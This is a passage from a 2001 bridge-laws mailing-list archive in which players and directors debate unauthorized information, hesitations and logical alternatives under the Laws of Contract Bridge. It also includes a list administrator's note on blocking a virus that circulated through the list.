(8.10.2/8.10.2) id f07GFuE06525 for bridge-laws@rgb.anu.edu.au; Sun, 7 Jan 2001 16:15:56 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: Bridge Laws Subject: RE: [BLML] Equity or simplicity? Date: Sun, 7 Jan 2001 15:43:04 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <3.0.32.20010103233949.0072d820@pullman.com> In-Reply-To: <3.0.32.20010103233949.0072d820@pullman.com> MIME-Version: 1.0 Message-Id: <01010716155605.06473@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Thu, 04 Jan 2001, N. Scott Cardell wrote: > 2) UI and MI that occur in the ordinary course of the game (such as > because, in this thinking game someone actually paused for thought) should > be dealt with in a way that as much as possible restores equity and avoids > adjudicated results. The long slippery slope that the bridge laws have > plunged down in dealing with UI and MI is an abysmal failure. > > I suggest the following change to the laws: > > 1) Institute a statute of limitations on changing the contract due to a > hesitation in the bidding. The statute of limitation should end when the > opening lead is made. This would lead to many more director calls. If no adjustment is possible after the opening lead is made, then calls which could be suggested by hesitation but are likely to be permitted will always have to be questioned during the auction. Consider the auction (1C)-X-(2C)-..P-(P)-X-(P)-2H If the hesitation is established and the doubler is a decent player, then I would expect the second double to be legitimate 95% of the time. If dummy comes down with a minimum balanced double like KQx Kxxx Axxx xx, the director can be called. But if dummy has a 4-4-4-1 13-count, passing out 2C is not an LA. > No more calling the director after the hand has been > played, or even after the play has begun. The same statute of limitations > should apply to changing the contract do to misinformation, if the > offending side is playing the contract and properly informs their opponents > of the misexplanation at the end of the bidding. The TD is already required to be called at this time. He will usually ask the opponents, "Would you have bid differently had you been properly informed?" and if the answer is "No", then no adjustment for MI will occur. And the UI issues here may be too complex to be handled at the table. Whether a bid is suggested by UI may depend on details of the opponents' systen. > 2) When the director is called prior to the opening lead and decides that > there has been an infraction, then director must propose the final contract > that should have been reached without the UI (or MI). If both sides accept > the directors choice then the hand is played in the proposed contract and > neither side has a right to appeal. Either side may reject the proposal, > then both sides retain their right to appeal. Both sides must have all the information available in order to make this decision, and they will not have it if the logical alternatives depend on an opponent's hand. In addition, the TD's decision creates extraneous information, and withdrawn calls For example, consider this: 1S-(2D)-..P-(P)-2H-(3C)-AP Under the current rules, the hand will be played in 3C, and may or may not be rolled back to 2D depending on whether pass is an LA to 2H. Under your proposal, if the TD rules that the 2H bid stands, the overcaller needs to decide whether to jeopardize his rights by challenging the bid with no idea whether the bid was clear or not. And if the TD rules that the contract is adjusted to 2D, all three players now know about the withdrawn 2H and 3C bids, and that the 2H bid was marginal. If you make this UI to the offenders and AI to the non-offenders, then the overcaller gains a significant advantage, and opener's partner will spend more time figure out his ethical problems than deciding what to lead. I would trust a committee more than the players to determine a likely result in 2D in this situation. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 10:37:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f07NYrm06706 for bridge-laws-outgoing; Mon, 8 Jan 2001 10:34:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f07NYmt06701 for ; Mon, 8 Jan 2001 10:34:49 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id KAA18939 for ; Mon, 8 Jan 2001 10:27:39 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Mon, 08 Jan 2001 10:28:37 +0000 (EST) Subject: Re: [BLML] Ruckus at the Club To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Mon, 8 Jan 2001 10:22:59 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 08/01/2001 10:33:44 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: >I think it is a part of the problem >that people believe that the TD >should/can/must only be called by the >non-offending side. I think many >Director calls would be less fraught >if the offending side called the >Director. Just such a situation occurred at my club on Friday night. During an auction, pard provided blatant UI. I then chose a call which the UI suggested (because I thought that I had no other LA). I summoned the TD to get a ruling, but was (correctly) informed that under L16A only an opponent could ask for a ruling. L16A is the single most likely Law to create a *fraught* situation. Therefore, perhaps the 2008 Laws should give the side which has possibly infracted L16A, the option to ask the TD for a potentially adverse ruling. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 11:36:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f080X6W20164 for bridge-laws-outgoing; Mon, 8 Jan 2001 11:33:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from acsys.anu.edu.au (acsys [150.203.20.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f080Wxt20131 for ; Mon, 8 Jan 2001 11:33:00 +1100 (EST) Received: from accordion ([150.203.56.21]) by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id LAA24341; Mon, 8 Jan 2001 11:32:51 +1100 (EST) Message-Id: <3.0.32.20010108113252.0130f9a0@acsys.anu.edu.au> X-Sender: markus@acsys.anu.edu.au X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 08 Jan 2001 11:32:53 +1100 To: "Chyah Burghard" , bridge-laws@rgb.anu.edu.au From: Markus Buchhorn Subject: [BLML] [ADMINISTRIVIA] - Viruses Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hi Chyah, et al > I know you don't read the Laws lists all the time. This is true, please everyone be aware of this. Email me directly for anything urgent (not just owner-bridge-laws). I returned from a 1 week break, when most of the planet takes a break, to find over 700 messages in my inbox - I don't know how busy BLML was over that time, but it wouldn't have helped :-) >I just >wanted to bring it to your attention that the list is having >trouble with a virus that was sent via the list. I have noticed it - I get about 30-40 warnings from various mail servers every time this has happened (4 now?). I'm glad to see many people have well run mail servers/gateways, and wish there were many more of them. > Most people now know not to open it and I even found >a fix for those that were infected. But the list would like >to know if you can make a setting to reject attachments. Unfortunately, with majordomo I currently cannot do this - I have spent a couple of hours poring over it to see if I can add a hook for it, and will shortly ask on the majordomo mailing lists. I can however 1. set a message length limit (normally set to 40k) 2. restrict posting to list members only 3. stop any postings that contain a certain string. 1. has a problem that some articles do get quite long, and the viruses are usually pretty small... However, a quick check suggests that most articles fit well inside 10k - so I have now set the limit to 15k, and will see how many articles get bounced to me. That should certainly block this beast using the list. (It however breaks the option of creating a digest version of BLML since it uses the same size limit. Stupid design choice...) 2. will break access for several people who use various addresses for sending/receiving email. It may be (I had hoped so) that being able to filter on the Subject will help those people stick to one address. However, I think some people read at one or more sites yet only post from another. This also won't stop any viruses that at least show who they originate from (who are list subscribers), rather than the fake address. 3. opens a can of worms of trying to maintain a list of 'bad strings' (don't mention the un*ub*cr*be word) that don't fall over. This particular beast actually modifies itself into multiple languages on the fly - I have also had a Spanish version, and it also comes as different forms of executables (.exe, screen saver, others). My preferred option (besides asking everybody to maintain antivirus software on their machines - it's not just a good idea anymore(tm)) is to actually have a virus scanner on the rgb mail server to do this properly. The campus where I am based has just purchased a site licence for a product that claims to have support for a Unix SMTP (email) scanner, so I will give that a go. >We know whose machine was infected and that person is >actively trying to rid their computer of the Hybris? virus. I was going to post the analysis myself, but saw that several people had already done so. Hopefully the above message-limitation, and an eventual real virus scanner will kill this problem permanently. Another option, when those round-tuits free up, is to change to another list manager such as mailman, which has some nice additional features over majordomo (but is written in Python!?!?). >Hope you are enjoying the summer. I am indeed, thank you. I see many of you are having an unpleasant White Christmas. Clearly everyone should understand that Christmas and New Year *should* be green (or brown, depending on how spring was), with hot weather, and spent on a beach enjoying the water. It's still very funny to see the various store Santas here in full fur coats when it's over 35C (95F).... A very Happy New Year to everyone on the list. I'd note that in April this year we will mark the 5th birthday of BLML, and also the 5th anniversary of David Stevenson waiting for Steve Willner to un*ub*r*be so that *his* name will be at the top of the member list :-) I'll leave it to Herman to also then regale us with his statistical analyses of the BLML history. Cheers, Markus Markus Buchhorn, Faculty of Engineering and IT, | Ph: +61 2 61258810 email: markus.buchhorn@anu.edu.au, mail: CSIT Bldg #108 |Fax: +61 2 61250010 Australian National University, Canberra 0200, Australia |Mobile: 0417 281429 ** Note new address and phone numbers ** -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 15:05:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0842A524348 for bridge-laws-outgoing; Mon, 8 Jan 2001 15:02:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08423t24310 for ; Mon, 8 Jan 2001 15:02:03 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Sun, 7 Jan 2001 20:01:18 -0800 Message-ID: <00f601c07927$b5e764a0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Ruckus at the Club Date: Sun, 7 Jan 2001 19:57:25 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > David Stevenson wrote: > > >I think it is a part of the problem > >that people believe that the TD > >should/can/must only be called by the > >non-offending side. I think many > >Director calls would be less fraught > >if the offending side called the > >Director. > > Just such a situation occurred at my > club on Friday night. During an > auction, pard provided blatant UI. I > then chose a call which the UI suggested > (because I thought that I had no other > LA). > > I summoned the TD to get a ruling, but > was (correctly) informed that under > L16A only an opponent could ask for a > ruling. My first inclination was to disagree, looking at L9B1(b): "Any player...may summon the Director after attention has been drawn to an irregularity." Can't one say, "I may have committed an irregularity here, so I'm calling the Director"? Then I considered the UI that would be created unnecessarily, which could be harmful. Why call the TD during the auction, anyway? All s/he could say is go ahead, bid and play the hand. If calling attention to one's own possible infraction is in order, the time to do it is after play is over. I just can't believe that is contrary to the Laws. > L16A is the single most likely Law to > create a *fraught* situation. Therefore, > perhaps the 2008 Laws should give the > side which has possibly infracted L16A, > the option to ask the TD for a > potentially adverse ruling. Perhaps, but when play is over. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 19:10:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0886AS09979 for bridge-laws-outgoing; Mon, 8 Jan 2001 19:06:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08862t09934 for ; Mon, 8 Jan 2001 19:06:03 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA06825; Mon, 8 Jan 2001 09:05:58 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Mon Jan 08 09:08:36 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYNQN4K5QG001ZY1@AGRO.NL>; Mon, 08 Jan 2001 09:05:26 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Mon, 08 Jan 2001 09:01:06 +0100 Content-return: allowed Date: Mon, 08 Jan 2001 09:05:20 +0100 From: "Kooijman, A." Subject: RE: [BLML] Equity or simplicity? To: "'Marvin L. French'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B75B@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > > IMHO, *the scope* should mention only > > simplicity and consistency. In the body > > of the 2008 Laws, *equity* should only be > > mentioned for the NOS. > > Forget equity, what we want is justice Justice has no general meaning. In the USA death penalty by hanging or an electric shock is justice and in some other countries loosing parts of your body still is within the scope of justice. But I agree that both are examples of simplicity. ton , simple and consistent. > > Marv > San Diego, CA, USA > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 19:26:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f088OYY16488 for bridge-laws-outgoing; Mon, 8 Jan 2001 19:24:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f088ORt16455 for ; Mon, 8 Jan 2001 19:24:27 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id JAA00312; Mon, 8 Jan 2001 09:21:51 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id JAA06821; Mon, 8 Jan 2001 09:24:12 +0100 (MET) for Message-Id: <3.0.6.32.20010108093616.00814100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 08 Jan 2001 09:36:16 +0100 To: David J Grabiner , Bridge Laws From: alain gottcheiner Subject: RE: [BLML] Equity or simplicity? In-Reply-To: <01010716155605.06473@psa836> References: <3.0.32.20010103233949.0072d820@pullman.com> <3.0.32.20010103233949.0072d820@pullman.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 15:43 7/01/01 +0000, David J Grabiner wrote: >Consider the auction > >(1C)-X-(2C)-..P-(P)-X-(P)-2H > >If the hesitation is established and the doubler is a decent player, >then I would expect the second double to be legitimate 95% of the time. >If dummy comes down with a minimum balanced double like KQx Kxxx Axxx >xx, the director can be called. But if dummy has a 4-4-4-1 13-count, >passing out 2C is not an LA. > > AG : David, I really think you don't take the words 'Logical Alternative' as they are meant. Passing is indeed a LA at this point. You already said you had (most usually) no more than 2 clubs, seldom a 5-card suit, and (for most people) 11+ HCP. You don't have that much more. Well, you would double, but I would at least have some qualms about it -after all, partner will not have Hxxx in a major and 6+ HCP-, and to me this means pass *is* clearly a LA, which some players would probably choose, on the lines of 'One doesn't say twice the same words at bridge' (translated from French). That pass is, on average, inferior to double (at least playing pairs) is irrelevant. A LA might perhaps be defined as an alternative bid that could in some cases be the winner (pass is clearly, here, but 2 of any suit isn't). The theory behind this is that the tempo will change the odds of it being right. This also means that in the Acol sequence 1H p ...3H p, the tempo didn't give away anything : one couldn't know whether the responder hesitated between 2 and 3, or between 3 and 4. Thus, the odds for and against 4H aren't changed (only, if you are wrong, you are more so), and 4H shouldn't be disallowed. Comments welcome on that one. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 19:28:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f088Snk17954 for bridge-laws-outgoing; Mon, 8 Jan 2001 19:28:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f088Sgt17914 for ; Mon, 8 Jan 2001 19:28:43 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id JAA03660; Mon, 8 Jan 2001 09:26:05 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id JAA10417; Mon, 8 Jan 2001 09:28:26 +0100 (MET) for Message-Id: <3.0.6.32.20010108094030.00819610@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Mon, 08 Jan 2001 09:40:30 +0100 To: "Marvin L. French" , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] What is suggested ? In-Reply-To: <00c901c07835$7ac7fb20$56991e18@san.rr.com> References: <200101042135.QAA29468@cfa183.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:59 6/01/01 -0800, you wrote: >In my view L16A is telling you what you can do after receiving UI from >partner, and making an illogical call is not one of the options given. "What >is not authorized is not permitted." > >Let's say you do something weird, like passing with a big hand to punish >partner for a gross break in tempo, something s/he has been doing too often. >This throws an oddball score into the works for no good bridge reason. >Knockout match, maybe okay. Otherwise no. If the stupidity works to your >advantage (e.g., 7NT doesn't make after all, due to very bad breaks), >opponents should get redress. I think L40A explicitly says no. You are not trying to lose the match ; you are trying to salvage your reputation ; this could hardly be a sin. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 8 19:54:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f088rvp26757 for bridge-laws-outgoing; Mon, 8 Jan 2001 19:53:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f088rot26730 for ; Mon, 8 Jan 2001 19:53:51 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA24989; Mon, 8 Jan 2001 09:53:43 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Mon Jan 08 09:56:16 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JYNSBEX2RO001ZLT@AGRO.NL>; Mon, 08 Jan 2001 09:53:16 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Mon, 08 Jan 2001 09:48:55 +0100 Content-return: allowed Date: Mon, 08 Jan 2001 09:53:04 +0100 From: "Kooijman, A." Subject: RE: [BLML] What is suggested ? To: "'alain gottcheiner'" , "Marvin L. French" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B75D@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > At 14:59 6/01/01 -0800, you wrote: > > >In my view L16A is telling you what you can do after > receiving UI from > >partner, and making an illogical call is not one of the > options given. Where do you read that? It says explicitly that a choice among LOGICAL alternatives that could DEMONSTRABLY have been suggested is prohibited. "What > >is not authorized is not permitted." > > > >Let's say you do something weird, like passing with a big > hand to punish > >partner for a gross break in tempo, something s/he has been > doing too often. > >This throws an oddball score into the works for no good > bridge reason. > >Knockout match, maybe okay. Otherwise no. If the stupidity > works to your > >advantage (e.g., 7NT doesn't make after all, due to very bad breaks), > >opponents should get redress. I don't see why. Let us keep using the laws and not uncontrolable feelings of justice (see my remark on another message) ton > > > I think L40A explicitly says no. You are not trying to lose > the match ; you > are trying to salvage your reputation ; this could hardly be a sin. > > A. > > -- > ============================================================== > ========== > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 06:22:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08JLMP15804 for bridge-laws-outgoing; Tue, 9 Jan 2001 06:21:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08JLFt15773 for ; Tue, 9 Jan 2001 06:21:16 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 8 Jan 2001 11:18:08 -0800 Message-ID: <001001c079a8$1e254700$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <67378DEA146DD21194C20000F87B08BA01B8B75D@fdwag002s.fd.agro.nl> Subject: Re: [BLML] What is suggested ? Date: Mon, 8 Jan 2001 11:20:19 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ton Kooijman wrote: > Marv wrote: > > > > > >In my view L16A is telling you what you can do after > > receiving UI from > > >partner, and making an illogical call is not one of the > > options given. > > Where do you read that? It says explicitly that a choice among LOGICAL > alternatives that could DEMONSTRABLY have been suggested is prohibited. To me it is merely offering a choice among logical alternatives, while prohibiting one that was demonstrably suggested by the UI. It does not say that an illogical alternative action may be taken. Your reading is that "may not choose from among logical alternative actions" permits an illogical alternative action. I don't see that. If a law says that voters may not elect as president a person from among the citizenry who is younger than age 35, does that mean a non-citizen can be chosen? I think not. > > > "What > > >is not authorized is not permitted." > > > > > >Let's say you do something weird, like passing with a big > > hand to punish > > >partner for a gross break in tempo, something s/he has been > > doing too often. > > >This throws an oddball score into the works for no good > > bridge reason. > > >Knockout match, maybe okay. Otherwise no. If the stupidity > > works to your > > >advantage (e.g., 7NT doesn't make after all, due to very bad breaks), > > >opponents should get redress. > > I don't see why. Let us keep using the laws and not uncontrollable feelings > of justice (see my remark on another message) Fully agreed. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 06:31:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08JVRU19338 for bridge-laws-outgoing; Tue, 9 Jan 2001 06:31:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08JVKt19306 for ; Tue, 9 Jan 2001 06:31:21 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 8 Jan 2001 11:28:12 -0800 Message-ID: <002601c079a9$86656600$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101042135.QAA29468@cfa183.harvard.edu> <3.0.6.32.20010108094030.00819610@pop.ulb.ac.be> Subject: Re: [BLML] What is suggested ? Date: Mon, 8 Jan 2001 11:28:53 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > To: "Marvin L. French" who wrote: > > >In my view L16A is telling you what you can do after receiving UI from > >partner, and making an illogical call is not one of the options given. "What > >is not authorized is not permitted." > > > >Let's say you do something weird, like passing with a big hand to punish > >partner for a gross break in tempo, something s/he has been doing too often. > >This throws an oddball score into the works for no good bridge reason. > >Knockout match, maybe okay. Otherwise no. If the stupidity works to your > >advantage (e.g., 7NT doesn't make after all, due to very bad breaks), > >opponents should get redress.> > > I think L40A explicitly says no. L16A has priority, I believe. > You are not trying to lose the match ; you > are trying to salvage your reputation ; this could hardly be a sin. > No, not a sin, very commendable. But if it causes damage to the other side, be willing to pay for it. A Good Samaritan can be sued successfully if his actions were illegal and resulted in damage instead of the desired result. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 06:57:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08JuC727862 for bridge-laws-outgoing; Tue, 9 Jan 2001 06:56:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08Ju4t27821 for ; Tue, 9 Jan 2001 06:56:05 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id OAA27363 for ; Mon, 8 Jan 2001 14:56:00 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id OAA07647 for bridge-laws@rgb.anu.edu.au; Mon, 8 Jan 2001 14:56:00 -0500 (EST) Date: Mon, 8 Jan 2001 14:56:00 -0500 (EST) From: Steve Willner Message-Id: <200101081956.OAA07647@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Marvin L. French" [L16A] > To me it is merely offering a choice among logical alternatives, > while prohibiting one that was demonstrably suggested by the UI. It > does not say that an illogical alternative action may be taken. Your > reading is that "may not choose from among logical alternative > actions" permits an illogical alternative action. I don't see that. It certainly forbids any action among those specified, but I don't see that it either permits or forbids actions that are not LA's. For that we need to look at L73C. There are people on this list who think any action actually chosen _becomes_ a LA. While I don't agree with them, the result is the same. Look at it this way, Marv. Suppose your partner makes a slow penalty double. You are short in trumps, and you would like to pull, and you _would_ pull if the double hadn't been slow. But you decide that L73C and 16A prohibit pulling the double, so you pass, and by good luck it turns out to be the right decision. You get to keep your score, even though you appear to have benefited from the UI. Your pass was not "demonstrably suggested," etc. Similarly, if you take a non-logical alternative, and it works out well, you keep your score _provided_ the action you chose was made _less_ attractive by the UI than it would have been otherwise. There has been no violation of either L16A or 73C, so there are no grounds for a score adjustment. Imagine after the slow penalty double you are void in trumps and have a solid, unbid 9-card suit. Nobody in the known universe is passing, but you decide to pass, and by a miracle this time (mere good luck is not enough!) it works out well. You still keep your score. Your pass still was not "demonstrably suggested," whether it was a LA or not. On the other hand, if the wild action was made _more_ attractive by the UI (even though it still was a bad idea) and it happens to work, you are getting an adjustment because L73C (and some say L16A) has been violated. Take the same slow penalty double. You have a defensive hand this time, and it would be normal to pass, highly abnormal to bid, but you bid 7NT anyway -- a completely crazy action. But somehow it 